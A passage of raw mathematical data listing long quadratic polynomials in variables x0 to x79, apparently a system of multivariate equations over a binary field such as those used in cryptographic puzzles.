x30*x39 + x30*x43 + x30*x44 + x30*x45 + x30*x49 + x30*x50 + x30*x51 + x30*x53 + x30*x54 + x30*x55 + x30*x58 + x30*x60 + x30*x61 + x30*x69 + x30*x71 + x30*x72 + x30*x73 + x31*x33 + x31*x34 + x31*x35 + x31*x36 + x31*x38 + x31*x41 + x31*x42 + x31*x44 + x31*x45 + x31*x46 + x31*x53 + x31*x54 + x31*x55 + x31*x59 + x31*x61 + x31*x62 + x31*x67 + x31*x69 + x31*x71 + x31*x72 + x31*x75 + x32*x35 + x32*x37 + x32*x39 + x32*x40 + x32*x42 + x32*x43 + x32*x45 + x32*x47 + x32*x49 + x32*x51 + x32*x56 + x32*x57 + x32*x58 + x32*x59 + x32*x60 + x32*x62 + x32*x65 + x32*x66 + x32*x70 + x32*x72 + x32*x73 + x32*x74 + x32*x75 + x32*x76 + x32*x77 + x33*x36 + x33*x37 + x33*x38 + x33*x40 + x33*x41 + x33*x44 + x33*x45 + x33*x46 + x33*x48 + x33*x49 + x33*x52 + x33*x53 + x33*x54 + x33*x56 + x33*x58 + x33*x63 + x33*x66 + x33*x67 + x33*x68 + x33*x69 + x33*x70 + x33*x72 + x33*x74 + x33*x76 + x33*x77 + x33*x79 + x33 + x34*x40 + x34*x41 + x34*x43 + x34*x44 + x34*x46 + x34*x47 + x34*x48 + x34*x56 + x34*x58 + x34*x59 + x34*x61 + x34*x63 + x34*x65 + x34*x66 + x34*x67 + x34*x68 + x34*x72 + x34*x73 + x34*x77 + x34*x78 + x35*x36 + x35*x37 + x35*x40 + x35*x42 + x35*x44 + x35*x47 + x35*x50 + x35*x53 + x35*x54 + x35*x55 + x35*x57 + x35*x58 + x35*x60 + x35*x62 + x35*x65 + x35*x68 + x35*x75 + x35*x76 + x35*x77 + x35*x78 + x35*x79 + x36*x38 + x36*x44 + x36*x46 + x36*x49 + x36*x50 + x36*x51 + x36*x54 + x36*x55 + x36*x57 + x36*x59 + x36*x61 + x36*x62 + x36*x64 + x36*x65 + x36*x70 + x36*x71 + x36*x72 + x36*x73 + x36*x75 + x36*x76 + x36*x77 + x36*x78 + x36*x79 + x37*x41 + x37*x42 + x37*x44 + x37*x45 + x37*x46 + x37*x49 + x37*x50 + x37*x52 + x37*x56 + x37*x57 + x37*x65 + x37*x67 + x37*x70 + x37*x76 + x37*x77 + x38*x39 + x38*x40 + x38*x42 + x38*x46 + x38*x47 + x38*x48 + x38*x49 + x38*x51 + x38*x52 + x38*x54 + x38*x55 + x38*x56 + x38*x57 + x38*x60 + x38*x61 + x38*x63 + x38*x65 + x38*x66 + x38*x67 + x38*x68 + x38*x71 + x38*x76 + x38*x78 + x38 + x39*x40 + x39*x43 + x39*x46 + x39*x47 + x39*x48 + x39*x49 + x39*x52 + x39*x54 + x39*x55 + x39*x56 + x39*x58 + x39*x59 + x39*x60 + x39*x61 + x39*x62 + x39*x65 + x39*x67 + x39*x69 + x39*x70 + x39*x71 + x39*x72 + x39*x74 + x39*x79 + x39 + x40*x41 + x40*x42 + x40*x43 + x40*x44 + x40*x45 + x40*x51 + x40*x53 + x40*x55 + x40*x56 + x40*x57 + x40*x58 + x40*x60 + x40*x62 + x40*x63 + x40*x65 + x40*x68 + x40*x70 + x40*x72 + x40*x78 + x40 + x41*x45 + x41*x48 + x41*x50 + x41*x51 + x41*x53 + x41*x55 + x41*x62 + x41*x66 + x41*x69 + x41*x72 + x41*x73 + x41*x74 + x41*x77 + x42*x44 + x42*x46 + x42*x49 + x42*x53 + x42*x54 + x42*x55 + x42*x56 + x42*x57 + x42*x61 + x42*x63 + x42*x64 + x42*x66 + x42*x67 + x42*x68 + x42*x69 + x42*x70 + x42*x71 + x42*x73 + x42*x74 + x42*x79 + x43*x44 + x43*x45 + x43*x47 + x43*x49 + x43*x53 + x43*x54 + x43*x55 + x43*x56 + x43*x57 + x43*x58 + x43*x60 + x43*x61 + x43*x62 + x43*x64 + x43*x66 + x43*x69 + x43*x70 + x43*x72 + x43*x76 + x43*x77 + x43*x78 + x43*x79 + x44*x45 + x44*x48 + x44*x51 + x44*x52 + x44*x56 + x44*x58 + x44*x59 + x44*x62 + x44*x63 + x44*x64 + x44*x67 + x44*x68 + x44*x69 + x44*x71 + x44*x72 + x44*x73 + x44*x74 + x44*x78 + x44*x79 + x44 + x45*x48 + x45*x50 + x45*x51 + x45*x52 + x45*x54 + x45*x57 + x45*x58 + x45*x59 + x45*x60 + x45*x62 + x45*x64 + x45*x66 + x45*x67 + x45*x68 + x45*x69 + x45*x70 + x45*x71 + x45*x77 + x45*x78 + x45 + x46*x47 + x46*x49 + x46*x50 + x46*x55 + x46*x59 + x46*x60 + x46*x62 + x46*x64 + x46*x67 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x72 + x46*x78 + x46*x79 + x47*x48 + x47*x49 + x47*x50 + x47*x51 + x47*x52 + x47*x54 + x47*x56 + x47*x57 + x47*x60 + x47*x62 + x47*x64 + x47*x65 + x47*x69 + x47*x70 + x47*x72 + x47*x77 + x47 + x48*x51 + x48*x52 + x48*x54 + x48*x56 + x48*x57 + x48*x58 + x48*x59 + x48*x60 + x48*x61 + x48*x64 + x48*x65 + x48*x68 + x48*x69 + x48*x71 + x48*x75 + x48*x77 + x48*x78 + x48*x79 + x49*x50 + x49*x53 + x49*x56 + x49*x58 + x49*x59 + x49*x65 + x49*x66 + x49*x69 + x49*x71 + x49*x72 + x49*x73 + x49*x75 + x49*x76 + x49*x79 + x50*x52 + x50*x54 + x50*x56 + x50*x59 + x50*x60 + x50*x61 + x50*x70 + x50*x71 + x50*x72 + x50*x74 + x50*x77 + x50*x78 + x50*x79 + x51*x52 + x51*x53 + x51*x54 + x51*x55 + x51*x56 + x51*x59 + x51*x63 + x51*x65 + x51*x68 + x51*x74 + x51*x78 + x52*x59 + x52*x65 + x52*x66 + x52*x67 + x52*x69 + x52*x70 + x52*x71 + x52*x72 + x52*x73 + x52*x75 + x52*x76 + x52*x78 + x52*x79 + x52 + x53*x56 + x53*x58 + x53*x59 + x53*x63 + x53*x65 + x53*x66 + x53*x71 + x53*x72 + x53*x73 + x53*x76 + x53*x77 + x53*x79 + x54*x63 + x54*x64 + x54*x69 + x54*x72 + x54*x73 + x54*x75 + x54*x76 + x54*x77 + x54*x78 + x54*x79 + x55*x62 + x55*x64 + x55*x65 + x55*x68 + x55*x70 + x55*x71 + x55*x74 + x55*x76 + x55*x78 + x55*x79 + x56*x58 + x56*x60 + x56*x65 + x56*x66 + x56*x69 + x56*x76 + x57*x59 + x57*x62 + x57*x64 + x57*x65 + x57*x67 + x57*x69 + x57*x71 + x57*x72 + x57*x73 + x57*x75 + x58*x59 + x58*x60 + x58*x61 + x58*x64 + x58*x65 + x58*x68 + x58*x70 + x58*x71 + x58*x76 + x58*x77 + x58*x78 + x58*x79 + x58 + x59*x61 + x59*x63 + x59*x65 + x59*x68 + x59*x69 + x59*x70 + x59*x71 + x59*x74 + x59*x76 + x60*x61 + x60*x68 + x60*x76 + x60*x77 + x60*x78 + x60*x79 + x60 + x61*x62 + x61*x63 + x61*x65 + x61*x66 + x61*x68 + x61*x69 + x61*x70 + x61*x71 + x61*x72 + x61*x74 + x61*x77 + x61*x78 + x61*x79 + x61 + x62*x66 + x62*x67 + x62*x70 + x62*x71 + x62*x75 + x62*x77 + x62 + x63*x64 + x63*x65 + x63*x66 + x63*x67 + x63*x68 + x63*x69 + x63*x70 + x63*x71 + x63*x73 + x63*x74 + x63*x77 + x63 + x64*x65 + x64*x68 + x64*x69 + x64*x77 + x64*x79 + x65*x66 + x65*x68 + x65*x69 + x65*x73 + x65*x74 + x65*x76 + x65*x77 + x65*x78 + x66*x68 + x66*x70 + x66*x73 + x66*x74 + x66*x75 + x66*x76 + x66*x77 + x66*x78 + x66*x79 + x67*x69 + x67*x70 + x67*x72 + x67*x73 + x67*x74 + x67*x75 + x67*x76 + x67*x77 + x67*x78 + x67*x79 + x68*x70 + x68*x71 + x68*x72 + x68*x73 + x68*x74 + x68*x76 + x68*x78 + x68*x79 + x69*x70 + x69*x73 + x69*x75 + x70*x76 + x70*x77 + x71*x73 + x71*x75 + x71*x78 + x72*x73 + x72*x78 + x72*x79 + x73*x74 + x73*x75 + x73*x79 + x73 + x74*x75 + x74*x76 + x74*x79 + x75*x76 + x75*x79 + x76*x77 + x76*x78 + x76 + x77*x79 + x78*x79 + x78 + 1, x0*x3 + x0*x4 + x0*x7 + x0*x9 + x0*x11 + x0*x12 + x0*x13 + x0*x15 + x0*x16 + x0*x19 + x0*x22 + x0*x24 + x0*x26 + x0*x31 + x0*x33 + x0*x36 + x0*x37 + x0*x41 + x0*x45 + x0*x47 + x0*x48 + x0*x49 + x0*x53 + x0*x54 + x0*x56 + x0*x58 + x0*x61 + x0*x64 + x0*x65 + x0*x66 + x0*x69 + x0*x71 + x0*x72 + x0*x73 + x0*x75 + x0*x77 + x0*x78 + x0*x79 + x1*x2 + x1*x3 + x1*x4 + x1*x5 + x1*x6 + x1*x7 + x1*x8 + x1*x9 + x1*x10 + x1*x11 + x1*x12 + x1*x13 + x1*x15 + x1*x17 + x1*x25 + x1*x27 + x1*x28 + x1*x32 + x1*x33 + x1*x35 + x1*x38 + x1*x40 + x1*x41 + x1*x42 + x1*x49 + x1*x50 + x1*x53 + x1*x56 + x1*x57 + x1*x60 + x1*x61 + x1*x62 + x1*x64 + x1*x65 + x1*x66 + x1*x69 + x1*x73 + x1*x75 + x1*x77 + x1*x79 + x1 + x2*x3 + x2*x4 + x2*x7 + x2*x8 + x2*x9 + x2*x12 + x2*x14 + x2*x15 + x2*x16 + x2*x20 + x2*x21 + x2*x24 + x2*x25 + x2*x26 + x2*x27 + x2*x28 + x2*x29 + x2*x30 + x2*x33 + x2*x34 + x2*x37 + x2*x39 + x2*x40 + x2*x41 + x2*x42 + x2*x43 + x2*x44 + x2*x46 + x2*x49 + x2*x53 + x2*x54 + x2*x55 + x2*x56 + x2*x57 + x2*x58 + x2*x59 + x2*x60 + x2*x63 + x2*x65 + x2*x72 + x3*x5 + x3*x6 + x3*x8 + x3*x11 + x3*x12 + x3*x14 + x3*x16 + x3*x17 + x3*x21 + x3*x23 + x3*x24 + x3*x25 + x3*x28 + x3*x30 + x3*x31 + x3*x33 + x3*x34 + x3*x36 + x3*x37 + x3*x40 + x3*x41 + x3*x42 + x3*x44 + x3*x46 + x3*x48 + x3*x53 + x3*x56 + x3*x60 + x3*x63 + x3*x64 + x3*x66 + x3*x67 + x3*x68 + x3*x70 + x3*x72 + x3*x73 + x3*x74 + x3*x76 + x3*x78 + x3 + x4*x7 + x4*x10 + x4*x14 + x4*x15 + x4*x16 + x4*x20 + x4*x21 + x4*x22 + x4*x26 + x4*x28 + x4*x33 + x4*x34 + x4*x37 + x4*x38 + x4*x39 + x4*x41 + x4*x42 + x4*x47 + x4*x48 + x4*x50 + x4*x51 + x4*x53 + x4*x54 + x4*x58 + x4*x59 + x4*x63 + x4*x64 + x4*x69 + x4*x70 + x4*x71 + x4*x72 + x4*x75 + x4*x77 + x4*x78 + x5*x6 + x5*x7 + x5*x8 + x5*x10 + x5*x11 + x5*x13 + x5*x17 + x5*x20 + x5*x21 + x5*x23 + x5*x26 + x5*x29 + x5*x33 + x5*x34 + x5*x35 + x5*x38 + x5*x40 + x5*x44 + x5*x46 + x5*x48 + x5*x49 + x5*x50 + x5*x51 + x5*x52 + x5*x53 + x5*x55 + x5*x56 + x5*x58 + x5*x59 + x5*x63 + x5*x65 + x5*x67 + x5*x68 + x5*x69 + x5*x70 + x5*x73 + x5*x75 + x5*x77 + x5*x78 + x5 + x6*x7 + x6*x11 + x6*x12 + x6*x13 + x6*x15 + x6*x18 + x6*x19 + x6*x22 + x6*x24 + x6*x26 + x6*x27 + x6*x28 + x6*x29 + x6*x30 + x6*x31 + x6*x32 + x6*x33 + x6*x34 + x6*x35 + x6*x36 + x6*x39 + x6*x40 + x6*x41 + x6*x42 + x6*x43 + x6*x44 + x6*x45 + x6*x47 + x6*x48 + x6*x49 + x6*x50 + x6*x52 + x6*x53 + x6*x54 + x6*x55 + x6*x58 + x6*x60 + x6*x61 + x6*x62 + x6*x63 + x6*x67 + x6*x68 + x6*x69 + x6*x71 + x6*x72 + x6*x73 + x6*x75 + x7*x9 + x7*x13 + x7*x19 + x7*x20 + x7*x21 + x7*x23 + x7*x24 + x7*x25 + x7*x26 + x7*x27 + x7*x31 + x7*x32 + x7*x33 + x7*x35 + x7*x37 + x7*x43 + x7*x46 + x7*x48 + x7*x49 + x7*x50 + x7*x51 + x7*x53 + x7*x54 + x7*x56 + x7*x59 + x7*x61 + x7*x67 + x7*x68 + x7*x70 + x7*x71 + x7*x72 + x7*x76 + x7*x77 + x7*x78 + x8*x9 + x8*x10 + x8*x11 + x8*x15 + x8*x16 + x8*x18 + x8*x19 + x8*x20 + x8*x21 + x8*x22 + x8*x26 + x8*x27 + x8*x29 + x8*x31 + x8*x33 + x8*x34 + x8*x35 + x8*x36 + x8*x37 + x8*x39 + x8*x40 + x8*x45 + x8*x47 + x8*x50 + x8*x51 + x8*x55 + x8*x56 + x8*x57 + x8*x60 + x8*x62 + x8*x63 + x8*x64 + x8*x65 + x8*x68 + x8*x71 + x8*x73 + x8*x79 + x8 + x9*x12 + x9*x13 + x9*x14 + x9*x16 + x9*x17 + x9*x19 + x9*x21 + x9*x22 + x9*x24 + x9*x26 + x9*x29 + x9*x30 + x9*x31 + x9*x35 + x9*x37 + x9*x38 + x9*x39 + x9*x40 + x9*x41 + x9*x42 + x9*x44 + x9*x45 + x9*x46 + x9*x47 + x9*x49 + x9*x51 + x9*x53 + x9*x54 + x9*x58 + x9*x60 + x9*x61 + x9*x62 + x9*x63 + x9*x64 + x9*x66 + x9*x67 + x9*x68 + x9*x69 + x9*x70 + x9*x72 + x9*x73 + x9*x74 + x9*x76 + x9*x77 + x9*x78 + x10*x11 + x10*x12 + x10*x16 + x10*x17 + x10*x21 + x10*x22 + x10*x25 + x10*x28 + x10*x30 + x10*x32 + x10*x36 + x10*x37 + x10*x38 + x10*x39 + x10*x40 + x10*x42 + x10*x44 + x10*x45 + x10*x46 + x10*x48 + x10*x49 + x10*x51 + x10*x52 + x10*x53 + x10*x56 + x10*x58 + x10*x60 + x10*x61 + x10*x63 + x10*x68 + x10*x71 + x10*x72 + x10*x74 + x10*x75 + x10*x78 + x10*x79 + x11*x14 + x11*x16 + x11*x20 + x11*x21 + x11*x22 + x11*x25 + x11*x29 + x11*x33 + x11*x34 + x11*x35 + x11*x36 + x11*x38 + x11*x41 + x11*x42 + x11*x43 + x11*x44 + x11*x45 + x11*x46 + x11*x47 + x11*x50 + x11*x53 + x11*x55 + x11*x61 + x11*x63 + x11*x64 + x11*x65 + x11*x67 + x11*x68 + x11*x69 + x11*x72 + x11*x74 + x11*x78 + x12*x13 + x12*x15 + x12*x16 + x12*x17 + x12*x19 + x12*x20 + x12*x21 + x12*x23 + x12*x24 + x12*x26 + x12*x27 + x12*x28 + x12*x30 + x12*x31 + x12*x33 + x12*x34 + x12*x35 + x12*x36 + x12*x38 + x12*x44 + x12*x47 + x12*x48 + x12*x50 + x12*x54 + x12*x57 + x12*x58 + x12*x60 + x12*x61 + x12*x62 + x12*x63 + x12*x64 + x12*x65 + x12*x66 + x12*x67 + x12*x71 + x12*x72 + x12*x76 + x12*x77 + x12*x78 + x12*x79 + x13*x14 + x13*x16 + x13*x17 + x13*x24 + x13*x25 + x13*x26 + x13*x30 + x13*x31 + x13*x33 + x13*x35 + x13*x36 + x13*x39 + x13*x40 + x13*x41 + x13*x43 + x13*x44 + x13*x46 + x13*x47 + x13*x54 + x13*x55 + x13*x58 + x13*x61 + x13*x62 + x13*x63 + x13*x64 + x13*x65 + x13*x66 + x13*x67 + x13*x68 + x13*x69 + x13*x72 + x13*x73 + x13*x74 + x13*x75 + x13*x76 + x14*x15 + x14*x16 + x14*x17 + x14*x21 + x14*x25 + x14*x29 + x14*x31 + x14*x32 + x14*x35 + x14*x39 + x14*x40 + x14*x43 + x14*x44 + x14*x47 + x14*x50 + x14*x53 + x14*x54 + x14*x56 + x14*x57 + x14*x58 + x14*x59 + x14*x60 + x14*x65 + x14*x66 + x14*x67 + x14*x69 + x14*x70 + x14*x71 + x14*x73 + x14*x75 + x14*x76 + x14*x79 + x14 + x15*x17 + x15*x20 + x15*x22 + x15*x23 + x15*x25 + x15*x26 + x15*x27 + x15*x29 + x15*x30 + x15*x32 + x15*x33 + x15*x34 + x15*x36 + x15*x37 + x15*x38 + x15*x40 + x15*x45 + x15*x49 + x15*x50 + x15*x51 + x15*x52 + x15*x53 + x15*x54 + x15*x60 + x15*x62 + x15*x65 + x15*x66 + x15*x69 + x15*x70 + x15*x71 + x15*x72 + x15*x74 + x15*x75 + x15*x76 + x15*x77 + x15*x78 + x15 + x16*x17 + x16*x24 + x16*x25 + x16*x28 + x16*x29 + x16*x30 + x16*x33 + x16*x36 + x16*x37 + x16*x41 + x16*x42 + x16*x43 + x16*x45 + x16*x46 + x16*x47 + x16*x48 + x16*x50 + x16*x51 + x16*x52 + x16*x53 + x16*x54 + x16*x55 + x16*x59 + x16*x63 + x16*x66 + x16*x67 + x16*x68 + x16*x70 + x16*x71 + x16*x74 + x16*x76 + x16*x77 + x16 + x17*x19 + x17*x20 + x17*x24 + x17*x25 + x17*x26 + x17*x27 + x17*x28 + x17*x29 + x17*x31 + x17*x33 + x17*x34 + x17*x35 + x17*x38 + x17*x43 + x17*x44 + x17*x47 + x17*x48 + x17*x53 + x17*x54 + x17*x56 + x17*x57 + x17*x63 + x17*x66 + x17*x68 + x17*x72 + x17*x75 + x18*x20 + x18*x21 + x18*x22 + x18*x23 + x18*x26 + x18*x27 + x18*x29 + x18*x30 + x18*x31 + x18*x33 + x18*x34 + x18*x36 + x18*x37 + x18*x39 + x18*x40 + x18*x41 + x18*x43 + x18*x44 + x18*x45 + x18*x47 + x18*x49 + x18*x50 + x18*x51 + x18*x55 + x18*x56 + x18*x58 + x18*x61 + x18*x64 + x18*x65 + x18*x66 + x18*x68 + x18*x70 + x18*x73 + x18*x76 + x18*x79 + x18 + x19*x24 + x19*x26 + x19*x32 + x19*x34 + x19*x35 + x19*x37 + x19*x38 + x19*x41 + x19*x43 + x19*x44 + x19*x45 + x19*x46 + x19*x48 + x19*x53 + x19*x54 + x19*x57 + x19*x59 + x19*x60 + x19*x61 + x19*x62 + x19*x65 + x19*x66 + x19*x67 + x19*x70 + x19*x77 + x19*x79 + x20*x22 + x20*x23 + x20*x25 + x20*x26 + x20*x27 + x20*x29 + x20*x35 + x20*x38 + x20*x39 + x20*x40 + x20*x41 + x20*x44 + x20*x45 + x20*x46 + x20*x47 + x20*x54 + x20*x55 + x20*x58 + x20*x60 + x20*x61 + x20*x62 + x20*x66 + x20*x69 + x20*x72 + x20*x75 + x20*x76 + x20*x77 + x20*x78 + x20*x79 + x21*x22 + x21*x23 + x21*x24 + x21*x25 + x21*x28 + x21*x39 + x21*x40 + x21*x43 + x21*x44 + x21*x45 + x21*x50 + x21*x51 + x21*x52 + x21*x53 + x21*x56 + x21*x57 + x21*x58 + x21*x59 + x21*x60 + x21*x61 + x21*x63 + x21*x64 + x21*x65 + x21*x67 + x21*x68 + x21*x69 + x21*x70 + x21*x72 + x21*x73 + x21*x75 + x21*x76 + x21*x77 + x22*x23 + x22*x25 + x22*x28 + x22*x31 + x22*x33 + x22*x36 + x22*x37 + x22*x39 + x22*x40 + x22*x43 + x22*x45 + x22*x47 + x22*x49 + x22*x51 + x22*x53 + x22*x54 + x22*x56 + x22*x62 + x22*x63 + x22*x66 + x22*x68 + x22*x72 + x22*x73 + x22*x74 + x22*x75 + x23*x26 + x23*x33 + x23*x34 + x23*x36 + x23*x37 + x23*x40 + x23*x41 + x23*x42 + x23*x43 + x23*x44 + x23*x47 + x23*x48 + x23*x50 + x23*x51 + x23*x52 + x23*x54 + x23*x56 + x23*x57 + x23*x58 + x23*x59 + x23*x60 + x23*x61 + x23*x62 + x23*x63 + x23*x64 + x23*x65 + x23*x66 + x23*x68 + x23*x70 + x23*x77 + x23*x79 + x23 + x24*x25 + x24*x27 + x24*x28 + x24*x32 + x24*x34 + x24*x37 + x24*x38 + x24*x39 + x24*x41 + x24*x42 + x24*x44 + x24*x46 + x24*x47 + x24*x48 + x24*x50 + x24*x52 + x24*x53 + x24*x54 + x24*x56 + x24*x59 + x24*x61 + x24*x62 + x24*x63 + x24*x64 + x24*x65 + x24*x68 + x24*x69 + x24*x70 + x24*x71 + x24*x76 + x24*x77 + x24 + x25*x26 + x25*x27 + x25*x29 + x25*x31 + x25*x32 + x25*x33 + x25*x34 + x25*x35 + x25*x36 + x25*x38 + x25*x40 + x25*x42 + x25*x43 + x25*x45 + x25*x47 + x25*x59 + x25*x60 + x25*x62 + x25*x63 + x25*x64 + x25*x65 + x25*x67 + x25*x69 + x25*x70 + x25*x71 + x25*x72 + x25*x76 + x25*x78 + x25*x79 + x25 + x26*x27 + x26*x31 + x26*x32 + x26*x33 + x26*x35 + x26*x38 + x26*x41 + x26*x42 + x26*x44 + x26*x46 + x26*x51 + x26*x54 + x26*x55 + x26*x58 + x26*x61 + x26*x63 + x26*x70 + x26*x72 + x26*x73 + x26*x74 + x26*x78 + x27*x30 + x27*x31 + x27*x32 + x27*x34 + x27*x36 + x27*x39 + x27*x44 + x27*x45 + x27*x47 + x27*x49 + x27*x50 + x27*x51 + x27*x52 + x27*x53 + x27*x55 + x27*x56 + x27*x59 + x27*x61 + x27*x62 + x27*x65 + x27*x66 + x27*x67 + x27*x68 + x27*x69 + x27*x75 + x27*x76 + x27*x78 + x27*x79 + x27 + x28*x29 + x28*x30 + x28*x32 + x28*x33 + x28*x34 + x28*x36 + x28*x38 + x28*x39 + x28*x43 + x28*x44 + x28*x46 + x28*x49 + x28*x50 + x28*x51 + x28*x55 + x28*x56 + x28*x57 + x28*x59 + x28*x64 + x28*x65 + x28*x67 + x28*x73 + x28*x74 + x28*x75 + x29*x31 + x29*x32 + x29*x35 + x29*x37 + x29*x38 + x29*x42 + x29*x43 + x29*x44 + x29*x45 + x29*x46 + x29*x47 + x29*x48 + x29*x49 + x29*x52 + x29*x54 + x29*x56 + x29*x57 + x29*x59 + x29*x61 + x29*x62 + x29*x63 + x29*x64 + x29*x65 + x29*x66 + x29*x67 + x29*x68 + x29*x69 + x29*x70 + x29*x73 + x29*x74 + x29*x77 + x29*x79 + x29 + x30*x32 + x30*x33 + x30*x34 + x30*x35 + x30*x36 + x30*x37 + x30*x38 + x30*x39 + x30*x40 + x30*x42 + x30*x44 + x30*x45 + x30*x54 + x30*x55 + x30*x56 + x30*x58 + x30*x60 + x30*x63 + x30*x66 + x30*x67 + x30*x74 + x31*x35 + x31*x36 + x31*x37 + x31*x40 + x31*x43 + x31*x46 + x31*x47 + x31*x49 + x31*x50 + x31*x51 + x31*x52 + x31*x56 + x31*x57 + x31*x58 + x31*x59 + x31*x60 + x31*x63 + x31*x67 + x31*x68 + x31*x69 + x31*x73 + x31*x79 + x32*x34 + x32*x36 + x32*x37 + x32*x38 + x32*x42 + x32*x43 + x32*x44 + x32*x45 + x32*x47 + x32*x48 + x32*x54 + x32*x55 + x32*x56 + x32*x58 + x32*x59 + x32*x60 + x32*x63 + x32*x64 + x32*x66 + x32*x67 + x32*x69 + x32*x71 + x32*x76 + x33*x37 + x33*x38 + x33*x39 + x33*x41 + x33*x42 + x33*x44 + x33*x46 + x33*x47 + x33*x49 + x33*x50 + x33*x51 + x33*x53 + x33*x54 + x33*x56 + x33*x57 + x33*x58 + x33*x60 + x33*x65 + x33*x67 + x33*x72 + x33*x76 + x33*x78 + x33*x79 + x33 + x34*x38 + x34*x40 + x34*x41 + x34*x42 + x34*x45 + x34*x46 + x34*x48 + x34*x52 + x34*x53 + x34*x54 + x34*x58 + x34*x59 + x34*x63 + x34*x67 + x34*x68 + x34*x71 + x34*x72 + x34*x73 + x34*x74 + x34*x75 + x34*x76 + x34*x77 + x34*x79 + x35*x36 + x35*x38 + x35*x42 + x35*x43 + x35*x45 + x35*x46 + x35*x49 + x35*x52 + x35*x53 + x35*x55 + x35*x58 + x35*x59 + x35*x61 + x35*x62 + x35*x64 + x35*x66 + x35*x67 + x35*x69 + x35*x70 + x35*x74 + x35*x75 + x35*x78 + x35*x79 + x36*x41 + x36*x43 + x36*x45 + x36*x47 + x36*x51 + x36*x52 + x36*x55 + x36*x56 + x36*x59 + x36*x60 + x36*x61 + x36*x62 + x36*x65 + x36*x69 + x36*x70 + x36*x73 + x36*x74 + x37*x38 + x37*x39 + x37*x44 + x37*x48 + x37*x50 + x37*x51 + x37*x52 + x37*x53 + x37*x55 + x37*x57 + x37*x58 + x37*x62 + x37*x64 + x37*x66 + x37*x67 + x37*x69 + x37*x71 + x37*x73 + x37*x74 + x37*x76 + x37*x77 + x37*x79 + x37 + x38*x40 + x38*x45 + x38*x48 + x38*x49 + x38*x50 + x38*x52 + x38*x54 + x38*x55 + x38*x56 + x38*x57 + x38*x58 + x38*x60 + x38*x62 + x38*x63 + x38*x64 + x38*x67 + x38*x68 + x38*x69 + x38*x71 + x38*x75 + x39*x40 + x39*x41 + x39*x43 + x39*x46 + x39*x48 + x39*x49 + x39*x55 + x39*x57 + x39*x61 + x39*x65 + x39*x66 + x39*x68 + x39*x69 + x39*x70 + x39*x71 + x39*x72 + x39*x73 + x39*x74 + x39*x77 + x39*x78 + x39*x79 + x40*x41 + x40*x42 + x40*x44 + x40*x45 + x40*x46 + x40*x49 + x40*x50 + x40*x54 + x40*x55 + x40*x56 + x40*x57 + x40*x58 + x40*x61 + x40*x65 + x40*x67 + x40*x72 + x40*x73 + x40*x74 + x40*x75 + x40*x77 + x40*x78 + x40*x79 + x41*x43 + x41*x44 + x41*x45 + x41*x46 + x41*x50 + x41*x52 + x41*x53 + x41*x57 + x41*x58 + x41*x59 + x41*x60 + x41*x62 + x41*x63 + x41*x64 + x41*x65 + x41*x66 + x41*x67 + x41*x71 + x41*x75 + x41*x76 + x41*x77 + x41*x79 + x41 + x42*x43 + x42*x44 + x42*x46 + x42*x48 + x42*x49 + x42*x52 + x42*x56 + x42*x58 + x42*x61 + x42*x62 + x42*x68 + x42*x69 + x42*x70 + x42*x71 + x42*x73 + x42*x74 + x43*x45 + x43*x47 + x43*x48 + x43*x50 + x43*x51 + x43*x52 + x43*x53 + x43*x56 + x43*x57 + x43*x61 + x43*x62 + x43*x63 + x43*x64 + x43*x71 + x43*x72 + x43*x73 + x43*x74 + x43*x76 + x43*x77 + x43 + x44*x48 + x44*x50 + x44*x51 + x44*x52 + x44*x56 + x44*x57 + x44*x60 + x44*x63 + x44*x69 + x44*x71 + x44*x74 + x44*x75 + x44*x76 + x44*x79 + x44 + x45*x49 + x45*x51 + x45*x52 + x45*x53 + x45*x54 + x45*x55 + x45*x56 + x45*x58 + x45*x59 + x45*x60 + x45*x62 + x45*x66 + x45*x67 + x45*x71 + x45*x72 + x45*x76 + x45*x77 + x46*x50 + x46*x53 + x46*x54 + x46*x55 + x46*x57 + x46*x61 + x46*x63 + x46*x64 + x46*x66 + x46*x70 + x46*x71 + x46*x72 + x46*x73 + x46*x75 + x46*x79 + x47*x52 + x47*x54 + x47*x57 + x47*x58 + x47*x63 + x47*x64 + x47*x66 + x47*x68 + x47*x69 + x47*x70 + x47*x71 + x47*x77 + x47*x78 + x47*x79 + x48*x49 + x48*x51 + x48*x52 + x48*x54 + x48*x55 + x48*x56 + x48*x58 + x48*x61 + x48*x64 + x48*x65 + x48*x66 + x48*x69 + x48*x71 + x48*x74 + x48*x75 + x48*x78 + x48*x79 + x49*x51 + x49*x52 + x49*x53 + x49*x55 + x49*x60 + x49*x61 + x49*x63 + x49*x66 + x49*x67 + x49*x69 + x49*x71 + x49*x74 + x49*x75 + x49*x76 + x49*x78 + x49*x79 + x49 + x50*x51 + x50*x58 + x50*x60 + x50*x61 + x50*x66 + x50*x67 + x50*x70 + x50*x71 + x50*x72 + x50*x75 + x50*x76 + x50*x79 + x50 + x51*x53 + x51*x54 + x51*x56 + x51*x57 + x51*x58 + x51*x59 + x51*x61 + x51*x62 + x51*x63 + x51*x65 + x51*x66 + x51*x71 + x51*x73 + x51*x75 + x51*x77 + x51*x78 + x51 + x52*x55 + x52*x56 + x52*x57 + x52*x60 + x52*x62 + x52*x64 + x52*x65 + x52*x66 + x52*x67 + x52*x68 + x52*x69 + x52*x71 + x52*x72 + x52*x73 + x52*x74 + x52*x76 + x52*x77 + x52*x78 + x52 + x53*x55 + x53*x58 + x53*x59 + x53*x60 + x53*x62 + x53*x66 + x53*x69 + x53*x72 + x53*x75 + x53*x77 + x53 + x54*x55 + x54*x56 + x54*x61 + x54*x67 + x54*x68 + x54*x70 + x54*x71 + x54*x72 + x54*x77 + x54*x78 + x54*x79 + x54 + x55*x57 + x55*x63 + x55*x65 + x55*x66 + x55*x67 + x55*x68 + x55*x69 + x55*x70 + x55*x72 + x55*x73 + x55*x75 + x55*x78 + x55*x79 + x56*x57 + x56*x59 + x56*x61 + x56*x62 + x56*x64 + x56*x67 + x56*x68 + x56*x70 + x56*x71 + x56*x72 + x56*x73 + x56*x74 + x56*x76 + x56*x77 + x56*x78 + x57*x58 + x57*x59 + x57*x60 + x57*x62 + x57*x63 + x57*x64 + x57*x68 + x57*x71 + x57*x74 + x57*x75 + x57*x77 + x57*x78 + x57 + x58*x59 + x58*x60 + x58*x61 + x58*x62 + x58*x64 + x58*x65 + x58*x66 + x58*x67 + x58*x68 + x58*x69 + x58*x70 + x58*x72 + x58*x79 + x59*x60 + x59*x62 + x59*x63 + x59*x65 + x59*x67 + x59*x68 + x59*x69 + x59*x72 + x59*x73 + x59*x74 + x59*x78 + x59*x79 